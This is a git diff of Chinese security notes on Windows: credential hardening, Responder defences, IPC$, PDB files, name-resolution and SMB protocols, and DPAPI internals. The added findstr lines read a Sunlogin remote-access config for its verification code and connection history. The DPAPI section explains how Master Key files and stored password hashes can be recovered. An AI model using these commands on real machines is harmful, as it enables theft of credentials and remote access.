默认是10,设置为0 + +**受保护的用户组** + +WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。 + +此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。 + +这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。 + +可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。 + +可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中: +``` +Add-ADGroupMember –Identity 'Protected Users' –Members administrator +``` + +**Credential Guard** + +在 Windows 10 和 Windows Server 2016 中,Microsoft 启用 Credential Guard(凭据防护),使用基于虚拟化技术来保护和隔离 lsass 进程,以保护凭证。启用 Credential Guard 后,lsass 包含 2 个进程:正常 LSA 进程和隔离 LSA 进程(在 VSM 中运行)。 + +可以使用组策略启用 Windows Defender 凭据保护:在组策略管理控制台中,在” 计算机配置” -> “管理模板” -> “系统” -> “Device Guard”,打开” 打开基于虚拟化的安全”,选择” 已启用”; + +在” 选择平台安全级别” 框中,选择” 安全启动” 或” 安全启动和 DMA 保护”; + +在” 凭据保护配置” 框中,选择” 使用 UEFI 锁启用”。如果希望能够远程关闭 Windows Defender Credential Guard,选择” 无锁启用”。 + +![](../../../assets/img/Integrated/Windows/Secure-Win/7.png) + +运行 gpupdate /force 强制执行组策略 + +验证Windows Defender Credential Guard是否运行: + +输入 msinfo32.exe,在 ”系统摘要”-> ”已配置基于虚拟化的安全服务”处,可看到显示”Credential Guard” + +![](../../../assets/img/Integrated/Windows/Secure-Win/8.png) + +# 防御Responder欺骗 + +**禁用NetBIOS服务** + +![](../../../assets/img/Integrated/Windows/Secure-Win/1.png) + +**禁用LLMNR** + +![](../../../assets/img/Integrated/Windows/Secure-Win/2.png) + +**Conveigh** + +- https://github.com/Kevin-Robertson/Conveigh + +**VindicateTool** + +- https://github.com/Rushyo/VindicateTool diff --git a/1earn/Integrated/Windows/Speed-Win.md b/1earn/Integrated/Windows/Speed-Win.md index 81fa6a0c..a05ee7c8 100644 --- a/1earn/Integrated/Windows/Speed-Win.md +++ b/1earn/Integrated/Windows/Speed-Win.md @@ -375,6 +375,9 @@ findstr 文件中搜索字符串 findstr /c:"hello world" 1.txt nul 在 1.txt 文件中搜索 hello world,并在每行结果前打印出1.txt: 注:findstr 只有在2个及以上文件中搜索字符串时才会打印出每个文件的文件名,nul 表示一个空文件 findstr /s /i "Hello" *.* 不区分大小写,在当前目录和所有子目录中的所有文件中的 hello findstr "^[0-9][a-z]" 1.txt 在 1.txt 中搜索以1个数字+1个小写字母开头子串的行 + findstr /si /n encry_pwd= c:\config.ini 查询向日葵的验证码 + findstr /si /n fastcode= c:\config.ini 查询向日葵的识别码 + findstr /si /n fastcodehistroy= c:\config.ini 查询向日葵的连接历史 ``` --- @@ -874,6 +877,11 @@ reg query HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS /v GameDirectory # 查询 QQGame 安装路径 ``` +**regedit** +```bash +regedit -s xxxx.reg # 导入注册表项 +``` + ### 计划任务 **at** diff --git "a/1earn/Integrated/Windows/\345\256\236\351\252\214/Windows\345\237\237\346\220\255\345\273\272.md" "b/1earn/Integrated/Windows/\345\256\236\351\252\214/Windows\345\237\237\346\220\255\345\273\272.md" index f2061a96..ac019fbb 100644 --- "a/1earn/Integrated/Windows/\345\256\236\351\252\214/Windows\345\237\237\346\220\255\345\273\272.md" +++ "b/1earn/Integrated/Windows/\345\256\236\351\252\214/Windows\345\237\237\346\220\255\345\273\272.md" @@ -20,7 +20,7 @@ DC 域控制器是由工作组计算机升级而成,通过 dcpromo 命令就 ![](../../../../assets/img/Integrated/Windows/实验/域/1.png) -WIN+R ,打开运行框,输入:dcpromo +WIN+R ,打开运行框,输入 : dcpromo ![](../../../../assets/img/Integrated/Windows/实验/域/2.png) diff --git "a/1earn/Integrated/Windows/\347\254\224\350\256\260/IPC$.md" "b/1earn/Integrated/Windows/\347\254\224\350\256\260/IPC$.md" index 0e622715..f3112095 100644 --- "a/1earn/Integrated/Windows/\347\254\224\350\256\260/IPC$.md" +++ "b/1earn/Integrated/Windows/\347\254\224\350\256\260/IPC$.md" @@ -4,9 +4,9 @@ # IPC$ 的概念 -IPC$(Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限, 在远程管理计算机和查看计算机的共享资源时使用。 +IPC`$`(Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限, 在远程管理计算机和查看计算机的共享资源时使用。 -利用 IPC$,连接者可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。(当然, 对方机器必须开了 IPC$ 共享, 否则你是连接不上的)。 +利用 IPC`$`,连接者可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。(当然, 对方机器必须开了 IPC$ 共享, 否则你是连接不上的)。 --- @@ -14,19 +14,19 @@ IPC$(Internet Process Connection) 是共享 "命名管道" 的资源,它是为 **IPC$ 与空连接** -不需要用户名与密码的 IPC$ 连接即为空连接, 一旦你以某个用户或管理员的身份登陆 (即以特定的用户名和密码进行 IPC$ 连接), 自然就不能叫做空连接了. +不需要用户名与密码的 IPC`$` 连接即为空连接, 一旦你以某个用户或管理员的身份登陆 (即以特定的用户名和密码进行 IPC`$` 连接), 自然就不能叫做空连接了. 当你以空连接登陆时, 你没有任何权限, 而你以用户或管理员的身份登陆时, 你就会有相应的权限. **IPC$ 与 139,445 端口** -IPC$ 连接可以实现远程登陆及对默认共享的访问; 而 139 端口的开启表示 netbios 协议的应用, 我们可以通过 139,445(win2000) 端口实现对共享文件/打印机的访问, 因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的. +IPC`$` 连接可以实现远程登陆及对默认共享的访问; 而 139 端口的开启表示 netbios 协议的应用, 我们可以通过 139,445(win2000) 端口实现对共享文件/打印机的访问, 因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的. -注:IPC$ 连接默认会去走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实现文件共享 +注:IPC`$` 连接默认会去走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实现文件共享 **IPC$ 与默认共享** -默认共享是为了方便管理员远程管理而默认开启的共享 (你当然可以关闭它), 即所有的逻辑盘(c$,d$,e$……) 和系统目录 winnt 或 windows(admin$), 我们通过 IPC$ 连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) +默认共享是为了方便管理员远程管理而默认开启的共享 (你当然可以关闭它), 即所有的逻辑盘(c`$`,d`$`,e`$`……) 和系统目录 winnt 或 windows(admin`$`), 我们通过 IPC`$` 连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) 可以本地输入 `net share` 查看共享的逻辑盘 @@ -34,7 +34,7 @@ IPC$ 连接可以实现远程登陆及对默认共享的访问; 而 139 端口 # 建立远程连接时的用户权限问题 -即默认情况下只有域管用户有权限对 admin$ 目录建立 IPC 连接,其实本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接 +即默认情况下只有域管用户有权限对 admin`$` 目录建立 IPC 连接,其实本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接 --- @@ -57,7 +57,7 @@ IPC$ 连接可以实现远程登陆及对默认共享的访问; 而 139 端口 - (1)网络访问为:经典 - (2)来宾账户状态:已启用, - (3)拒绝从网络访问这台计算机里有 Guest 用户或组 - - (4)你执行 net use \\xxx.xxx.xxx.xxx\IPC$ "123456" /user:"xxx" 输入的用户名是随便输入的,这时也会遇到这个错误信息,因为当你连接的用户不存在时,net use 会默认用 Guest 用户来进行连接,而 Guest 用户已拒绝从网络访问,所以也会出现这种错误 + - (4)你执行 net use \\xxx.xxx.xxx.xxx\IPC`$` "123456" /user:"xxx" 输入的用户名是随便输入的,这时也会遇到这个错误信息,因为当你连接的用户不存在时,net use 会默认用 Guest 用户来进行连接,而 Guest 用户已拒绝从网络访问,所以也会出现这种错误 - 错误号 1792,试图登录,但是网络登录服务没有启动 - 目标 NetLogon 服务未启动[连接域控会出现此情况] - 错误号 2242,此用户的密码已经过期 diff --git "a/1earn/Integrated/Windows/\347\254\224\350\256\260/PDB\347\254\246\345\217\267\346\226\207\344\273\266.md" "b/1earn/Integrated/Windows/\347\254\224\350\256\260/PDB\347\254\246\345\217\267\346\226\207\344\273\266.md" new file mode 100644 index 00000000..214079c0 --- /dev/null +++ "b/1earn/Integrated/Windows/\347\254\224\350\256\260/PDB\347\254\246\345\217\267\346\226\207\344\273\266.md" @@ -0,0 +1,84 @@ +# PDB符号文件 + +--- + +**什么是 PDB 文件** + +- PDB(Program Data Base),意即程序的基本数据,是 VS 编译链接时生成的文件。DPB 文件主要存储了 VS 调试程序时所需要的基本信息,主要包括源文件名、变量名、函数名、FPO(帧指针)、对应的行号等等。因为存储的是调试信息,所以一般情况下 PDB 文件是在 Debug 模式下才会生成。 +- PDB 文件是在我们编译工程的时候产生的,它是和对应的模块 (exe 或 dll) 一起生成出来的。pdb 文件包含了编译后程序指向源代码的位置信息,用于调试的时候定位到源代码,主要是用来方便调试的。 + +PDB 文件中记录了源文件路径的相关信息,所以在载入 PDB 文件的时候,就可以将相关调试信息与源码对应。这样可以可视化的实时查看调试时的函数调用、变量值等相关信息。模块当中记录的 PDB 文件是绝对路径。所以只要模块在当前电脑上载入,调试器自然地会根据模块当中的路径信息找到相应 PDB 文件并载入。同样 PDB 文件中记录的源文件路径也是绝对路径,所以 PDB 文件只要在当前电脑上载入,调试进入相应模块时,都能够匹配到记录的源文件,然后可视化地查看相应信息。 + +**PDB 文件的调用过程** + +模块 (Module),EXE 和 DLL 都可以称之为模块,因为它们都有自已独立的 Stack,所以我们在调试程序时,可以在 Call Stack 窗口查看到所有调用的 Module Name。并且可以右键查看相应模块的 ybmol Load Information,即该模块调用的 PDB 文件路径的过程。 + +每个模块被载入的时候,其相同名字的 PDB 文件同时被载入。所以 Debug 模式下,不仅因为代码没有优化,同时因为要载入 PDB 文件,所以 Debug 模式下的程序执行速度非常慢。 + +每个模块只会生成一个相同名字的 PDB 文件,并且模块生成的同时,会校验 PDB 文件生成 GUID 记录在模块内。这是因为调试时,调试器强制要求每个模块必须和 PDB 文件保持一致。实验过程中,用之前生成的 PDB 文件替换当前生成的 PDB 文件时,Debug 窗口会显示 No symbols loaded. MSDN 也做了相应的说明:The debugger will load only a PDB for a binary that exactly matches the PDB that was created when the binary was built. + +**PDB 文件存储格式** + +PDB 的文件格式类似于磁盘的文件系统,每个磁盘会被划分成很多个大小一样的扇区,文件中的数据就存放在不同的扇区中,而且无需保证这些扇区在磁盘上是连续的。PDB 文件用 page 进行划分,类似于扇区,stream 就类似于文件,stream directory 类似于文件目录。 + +**PDB 文件的内容** + +PDB 不是公开的文件格式,但是 Microsoft 提供了 API 来帮助从 PDB 中获取数据。 + +Native C++ PDB 包含了如下的信息: +* public,private 和 static 函数地址; +* 全局变量的名字和地址; +* 参数和局部变量的名字和在堆栈的偏移量; +* class,structure 和数据的类型定义; +* Frame Pointer Omission 数据,用来在 x86 上的 native 堆栈的遍历; +* 源代码文件的名字和行数; + +.NET PDB 只包含了 2 部分信息: +* 源代码文件名字和行数; +* 和局部变量的名字; +* 所有的其他的数据都已经包含在了. NET Metadata 中了; + +**PDB 文件的查找策略** + +1. 文件被执行或者被载入的地址 +2. 就是硬编码在 PE 文件头中的那个地址。 +3. 如果配置了符号服务器,第二步以后应该先去符号服务器的缓存目录下找,如果找不到再去符号服务器上去找。找到的话就会下载到缓存目录。 +4. VS 中设置的一些符号查询的目录 +5. c:\Windows 文件夹。 + +**PDB 如何工作** + +当你加载一个模块到进程的地址空间的时候,debugger 用 2 种信息来找到相应的 PDB 文件。 +- 一种是文件的名字,如果加载 zzz.dll,debugger 则查找 zzz.pdb 文件。 +- 在文件名字相同的情况下 debugger 还通过嵌入到 PDB 和 binay 的 GUID 来确保 PDB 和 binay 的真正的匹配。所以即使没有任何的代码修改,昨天的 binay 和今天的 PDB 是不能匹配的。可以使用 dempbin.exe 来查看 binary 的 GUID。 + +在 VisualStudio 中的 modules 窗口的 symbol file 列可以查看 PDB 的 load 顺序。第一个搜索的路径是 binary 所在的路径,如果不在 binary 所在的路径,则查找 binary 中 hardcode 记录的 build 目录,例如 obj\debug\*.pdb, 如果以上两个路径都没有找到 PDB,则根据 symbol server 的设置,在本地的 symbol server 的 cache 中查找,如果在本地的 symbol server 的 cache 中没有对应的 PDB,则最后才到远程的 symbol server 中查找。通过上面的查找顺序我们可以看出为什么 PDB 查找不会冲突。 + +对于有时我们需要在别人的机器上 debug 的情况,需要将相应的 PDB 与 binary 一起拷贝,对于加入 GAC 的. NET 的 binary,需要将 PDB 文件拷贝到 C:\Windows\assembly\GAC_MSIL\Example\1.0.0.0__682bc775ff82796a 类似的 binary 所在的目录。另一个变通的方法是定义环境变量 DEVPATH,从而代替使用命令 GACUTIL 将 binary 放入 GAC 中。在定义 DEVPATH 后,只需要将 binary 和 PDB 放到 DEVPATH 的路径,在 DEVPATH 下的 binary 相当于在 GAC 下。使用 DEVPATH,首先需要创建目录且对当前 build 用户有写权限,然后创建环境变量 DEVPATH 且值为刚才创建的目录,然后在 web.config,app.config 或 machine.config 中开启 development 模式,启动对 DEVPATH 的使用 +``` + + + + + +``` + +在你打开了 development 模式后,如果 DEVPATH 没有定义或路径不存在的话会导致程序启动时异常 "Invalid value for registry"。而且如果在 machine.config 中开启 DEVPATH 的使用会影响其他的所有的程序,所以要慎重使用 machine.config。 + +最后开发人员需要知道的是源代码信息是如何存储在 PDB 文件中的。 +- 对于开发人员自己机器上生成的 build,在运行 source indexing tool 后,版本控制工具将代码存储到你设置的代码 cache 中。 +- 对于在公用的 build 机器上生成的 build,只是存储了 PDB 文件的全路径,例如在 c:\foo 下的源文件 mycode.cpp,在 pdb 文件中存储的路径为 c:\foo\mycode.cpp。使用虚拟盘来增加 PDB 对绝对路径的依赖,例如可以使用 subst.exe 将源代码路径挂载为 V:,在别人的机器上 debug 的时候也挂载 V:。 + +**如何查看二进制文件和 PDB 的 GUID** + +- 使用 VS 自带的 DUMPBIN 工具可以查看二进制文件所期望的 PDB 的 GUID。基本用法就是 DUMPBIN /HEADER 文件,详情可参考 https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin-reference?view=msvc-160 +- https://www.codeproject.com/Articles/37456/How-To-Inspect-the-Content-of-a-Program-Database-P + +--- + +**Source & Reference** +- [Specify symbol (.pdb) and source files in the Visual Studio debugger (C#, C++, Visual Basic, F#)](https://docs.microsoft.com/en-us/visualstudio/debugger/specify-symbol-dot-pdb-and-source-files-in-the-visual-studio-debugger?view=vs-2019) +- [PDB Symbol Files](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pdb-symbol-files) +- [PDB文件:每个开发人员都必须知道的](https://www.cnblogs.com/itech/archive/2011/08/15/2136522.html) +- [PDB文件详解](https://blog.csdn.net/feihe0755/article/details/54233714) +- [什么是PDB文件?](https://cloud.tencent.com/developer/ask/30007) diff --git "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\344\277\241\346\201\257.md" "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\344\277\241\346\201\257.md" index d61d6a80..1e142d58 100644 --- "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\344\277\241\346\201\257.md" +++ "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\344\277\241\346\201\257.md" @@ -2,7 +2,7 @@ `记录收集 Windows 系统软硬件信息的命令` -- 域信息见 [信息收集](../../../Security/笔记/RedTeam/信息收集/信息收集.md#域信息) 笔记 +- 域信息见 [信息收集](../../../Security/RedTeam/信息收集/信息收集.md#域信息) 笔记 --- diff --git "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\206\205\345\255\230\347\256\241\347\220\206.md" "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\206\205\345\255\230\347\256\241\347\220\206.md" index c4619378..79a5d537 100644 --- "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\206\205\345\255\230\347\256\241\347\220\206.md" +++ "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\206\205\345\255\230\347\256\241\347\220\206.md" @@ -20,12 +20,16 @@ Windows 的进程虚拟地址空间是通过 VAD 来管理的. VAD 描述的是 # 物理页面管理机制 -Windows 既需管理虚拟地址, 也需管理物理地址所在的物理内存页面. 毕竟, Windows 的进程都是在物理内存中执行的. Windows 系统使用 PFN(page frame number database, 页帧编号数据库) 来描述物理内存各页面的状态. PFN 数据库中的每个 PFN 项对应于一个物理页面, 记录了该页面的使用情况, 包括其状态、对应页表项的地址等信息. 此外, Windows 还维护着一组链表, 分别将相同类型的页面链接起来, 主要包括零化链表、空闲链表、备用链表、修改链表、坏页面链表等. Windows 的虚拟地址转译和页面交换机制是基于这些数据结构实现的. +由于 Windows 的进程都是在物理内存中执行的,因此 Windows 需要管理物理地址所在的物理内存页面. Windows 系统使用 PFN(page frame number database, 页帧编号数据库) 来描述物理内存各页面的状态. PFN 数据库中的每个 PFN 项对应于一个物理页面, 记录了该页面的使用情况, 包括其状态、对应页表项的地址等信息. + +此外, Windows 还维护着一组链表, 分别将相同类型的页面链接起来, 主要包括零化链表、空闲链表、备用链表、修改链表、坏页面链表等. Windows 的虚拟地址转译和页面交换机制是基于这些数据结构实现的. --- # 地址转译和页面交换机制 +Windows 的的地址转译机制,可将进程中所使用的虚拟地址转换为物理内存中的物理地址,从而完成内存数据的定位,为获取内存数据提取支持。 + ## 地址转译 由于程序使用虚拟地址, 而 CPU 则使用物理地址, 因此, 需借助于 CPU 芯片硬件和操作系统软件配合来实现从虚拟地址到物理地址的转换. 这就是 Windows 系统的虚拟地址转译机制. 转译机制是由 CPU 芯片硬件提供, 而转译中所使用的数据结构则由 Windows 操作系统管理. diff --git "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\215\217\350\256\256.md" "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\215\217\350\256\256.md" new file mode 100644 index 00000000..046a149f --- /dev/null +++ "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\345\215\217\350\256\256.md" @@ -0,0 +1,70 @@ +# 协议 + +--- + +# LLMNR + +链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,IPv4 和 IPv6 的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista 开始就内嵌支持,Linux 系统也通过 systemd 实现了此协议。它通过 UDP 5355 端口进行通信,且 LLMNR 支持 IPV6。 + +LMNR 进行名称解析的过程为: +1. 检查本地 NetBIOS 缓存 +2. 如果缓存中没有则会像当前子网域发送广播 +3. 当前子网域的其他主机收到并检查广播包,如果没有主机响应则请求失败 + +# NBNS + +网络基本输入 / 输出系统 (NetBIOS) 名称服务器 (NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过 UDP 137 端口进行通信,但 NBNS 不支持 IPV6。 + +NetBIOS 协议进行名称解析的过程如下: +1. 检查本地 NetBIOS 缓存 +2. 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求 +3. 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播 +4. 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件 +5. lmhosts 文件位于 C:\Windows\System32\drivers\etc \ 目录中。 + +# mdns + +在计算机网络中,多播 DNS( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的 IP 地址。它是一种零配置服务,使用与单播域名系统(DNS)基本相同的编程接口,数据包格式和操作语义。虽然 Stuart Cheshire 将 mDNS 设计为独立协议,但它可以与标准 DNS 服务器协同工作。它通过 UDP 5353 端口进行通信,且 MDNS 也支持 IPV6。 + +目前仅有 windows 10 支持 mdns + +经测试发现,禁用了 llmnr 后 mdns 也会被禁用。 + +--- + +# SMB + +**SMB 有哪些版本** +- SMB 1.0 (or SMB1) - The version used in Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2 +- SMB 2.0 (or SMB2) - The version used in Windows Vista (SP1 or later) and Windows Server 2008 +- SMB 2.1 (or SMB2.1) - The version used in Windows 7 and Windows Server 2008 R2 +- SMB 3.0 (or SMB3) - The version used in Windows 8 and Windows Server 2012 + +从 Windows 95 开始,Microsoft Windows 操作系统支持 SMB 协议 ,但是由于 SMB 由于有漏洞。所以在 Windows Vista 之后,Windows 开始使用 SMB2 协议。也就是自 Vista 之后的 WIN7、Windows Server 2008 等都是用的 SMB2 协议。而 Windows XP 和 Windows Server2003 及其之前的机器都是用的 SMB1.0 协议。 + +SMB 协议支持直接运行在 TCP 上或封装运行在 NetBIOS 协议上,Psexec 的 SMB 协议就是直接运行在 TCP 上,而 net use 命令的抓包就是运行在 NetBIOS 协议。 + +在 WindowsNT 中,SMB 除了基于 NBT 实现,还可以直接通过 445 端口实现。 + +对于 WinNT 客户端(发起端)来说: +- 如果在允许 NBT 的情况下连接服务器时,客户端会同时尝试访问 139 和 445 端口,如果 445 端口有响应,那么就发送 RST 包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败; +- 如果在禁止 NBT 的情况下连接服务器时,那么客户端只会尝试访问 445 端口,如果 445 端口无响应,那么会话失败。 + +对于 winNT 服务器端来说: +- 如果允许 NBT, 那么 UDP 端口 137、138,TCP 端口 139,445 将开放; +- 如果禁止 NBT,那么只有 445 端口开放。 + +**TCP 139、445 端口** + +139 和 445 端口的通信过程是通过 SMB(服务器信息块)协议实现的。即根据 DNS 服务器中的名字列表信息,寻找需要通信的对象。如果顺利地得到对象的 IP 地址,就可以访问共享资源 。Windows 2000 以前版本的 Windows 使用 NetBIOS 协议解决各计算机名的问题。通过向 WINS 服务器发送通信对象的 NetBIOS 名,取得 IP 地址。而 Windows2000 以后的版本所采用的 CIFS 则利用 DNS 解决计算机的命名问题。 + +在 SMB 通信中,首先要取得通信对象的 IP 地址,然后向通信对象发出开始通信的请求。如果对方充许进行通信,就会确立会话层(Session)。并使用它向对方发送用户名和密码信息,进行认证。如果认证成功,就可以访问对方的共享文件。在这些一连串的通信中使用的就是 139 端口。 + +除此之外,Windows 2000 以后的系统还使用 445 端口。文件共享功能本身与 139 端口相同,但该端口使用的是与 SMB 不同的协议。这就是在 Windows 2000 中最新使用的 CIFS(通用因特网文件系统)协议。CIFS 和 SMB 解决计算机名的方法不同。SMB 使用 NetBIOS 和 WINS 解决计算机名,而 CIFS 则使用 DNS。当 139 和 445 端口同时打开的话,网络文件共享优先使用 445 端口。当 445 端口关闭时,网络文件共享使用 139 端口。但是自从 win10 开始,文件共享只使用 445 端口,445 端口关闭的话,则不能使用文件共享服务。因此,在文件服务器和打印服务器使用 Windows 的公司内部网络环境中,就无法关闭 139 和 445 端口。 + +在默认设置下,Windows 会开放提供文件共享服务的 TCP 139 号端口。一旦文件共享服务启动,系统就会进入等待状态。而共享资源则可以利用 net 命令轻松地进行分配。尽管 C 盘如果没有管理员权限就无法共享,但如果不经意地将 Guest 帐号设置为有效以后,攻击者就能够访问 C 盘,非常轻松地破坏硬盘。如果客户端使用 Windows 2000 以上系统构成的网络,自身不公开文件,就可以关闭这两个端口。这是因为如前所述,该网络只用 445 端口就能够进行文件共享。由于在解决计算机名过程中使用 DNS,所以也可以关闭 137 和 138 端口。而在很多情况下,文件共享和打印机共享在普通的业务中必须使用 139 端口通过 SMB 协议进行通信,因此就无法关闭 139 端口。另外,浏览时还需要 137~139 端口。 + +--- + +**Source & Reference** +- [Windows系统安全|135、137、138、139和445端口](https://mp.weixin.qq.com/s/UlNnDh2fqBZXwtEinCEnQA) diff --git "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\350\256\244\350\257\201.md" "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\350\256\244\350\257\201.md" index 7f17ce49..4a743259 100644 --- "a/1earn/Integrated/Windows/\347\254\224\350\256\260/\350\256\244\350\257\201.md" +++ "b/1earn/Integrated/Windows/\347\254\224\350\256\260/\350\256\244\350\257\201.md" @@ -16,6 +16,7 @@ * [LM-Hash](#lm-hash) * [NTLM-Hash](#ntlm-hash) * [本地认证流程](#本地认证流程) + * [DPAPI](#dpapi) * **[网络认证](#网络认证)** * [LM](#lm) @@ -141,6 +142,106 @@ winlogon.exe -> 接收用户输入 -> lsass.exe -> 认证 ![](../../../../assets/img/Integrated/Windows/笔记/认证/1.png) +## DPAPI + +从 Windows 2000 开始,Microsoft 随操作系统一起提供了一种特殊的数据保护接口,称为 Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数 CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。 + +主要用于保护加密的数据,常见的应用如: +- EFS文件加密 +- 存储无线连接密码 +- Windows Credential Manager +- Internet Explorer +- Outlook +- Skype +- Windows CardSpace +- Windows Vault +- Google Chrome + +**Master Key** + +64 字节,用于解密 DPAPI blob,使用用户登录密码、SID 和 16 字节随机数加密后保存在 Master Key file 中 + +**Master Key file** + +二进制文件,可使用用户登录密码对其解密,获得 Master Key + +分为两种: +- 用户 Master Key file,位于 %APPDATA%\Microsoft\Protect\%SID% +- 系统 Master Key file,位于 %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User + +存放密钥的文件则被称之为 Master Key Files,其路径一般为 `%APPDATA%/Microsoft/Protect/%SID%` 。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码 / Ntlm/Sha1 就可以还原了。 + +**Preferred 文件** + +位于 Master Key file 的同级目录,显示当前系统正在使用的 MasterKey 及其过期时间,默认 90 天有效期 + +为了安全考虑,Master Key 是每 90 天就会更新一次,而 Preferred 文件中记录了目前使用的是哪一个 Master Key 文件以及其过期时间,这里这个文件并没有经过任何加密 + +格式如下: +``` +typedef struct _tagPreferredMasterKey +{ + GUID guidMasterKey; + FILETIME ftCreated; +} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY; +``` + +例如 + +![](../../../../assets/img/Integrated/Windows/笔记/认证/38.png) + +前16字节 E3 A5 DD 1F E8 E7 24 4D 93 37 FC C7 71 F1 E1 84 对应 guid,调整格式后,对应文件为 + +1FDDA5E3-E7E8-4D24-9337-FCC771F1E184 + +![](../../../../assets/img/Integrated/Windows/笔记/认证/39.png) + +后8字节 A0 59 47 CD 9A 23 D7 01 对应过期时间 + +使用 3gstudent 文章中分享的解析方法如下: +```c +#include + +int main(void) +{ + FILE *fp; + unsigned char buf[24]; + fopen_s(&fp,"Preferred","rb"); + fread(buf,1,24,fp); + printf("Data: "); + for(int i=0;i<24;i++) + { + printf("%02x",buf[i]); + } + fclose(fp); + + printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]); + + char lowDateTime[9],highDateTime[9]; + sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]); + sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]); + + printf("dwLowDateTime:%s\n",lowDateTime); + printf("dwHighDateTime:%s\n",highDateTime); + + FILETIME ftUTC; + SYSTEMTIME stUTC2; + sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime); + sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime); + FileTimeToSystemTime(&ftUTC, &stUTC2); + printf(""); + printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond); + + return 0; +} +``` + +![](../../../../assets/img/Integrated/Windows/笔记/认证/40.png) + +**CREDHIST** + +此外,在 `%APPDATA%/Microsoft/Protect/` 目录下还有一个 CREDHIST 文件。由于 Master Key 的还原与用户密码相关,所以需要保存用户的历史密码信息以确保接口的正常使用,而此文件中就保存了用户的历史密码(Ntlm hash/sha1 hash)。 + --- # 网络认证 @@ -248,6 +349,18 @@ NTLMv1 和 NTLMv2 的加密因素都是 NTLM Hash,而最显著的区别就是 ![](../../../../assets/img/Integrated/Windows/笔记/认证/36.png) +- 发送 LM NTLM 响应: 客户端使用 LM 和 NTLM 身份验证,而决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 +- 发送 LM & NTLM – 如果协商一致,则使用 NTLMv2 会话安全: 客户端使用 LM 和 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 +- 仅发送 NTLM 响应: 客户端仅使用 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 +- 仅发送 NTLMv2 响应: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 +- 仅发送 NTLMv2 响应\拒绝 LM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM (仅接受 NTLM 和 NTLMv2 身份验证)。 +- 仅发送 NTLMv2 响应\拒绝 LM & NTLM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 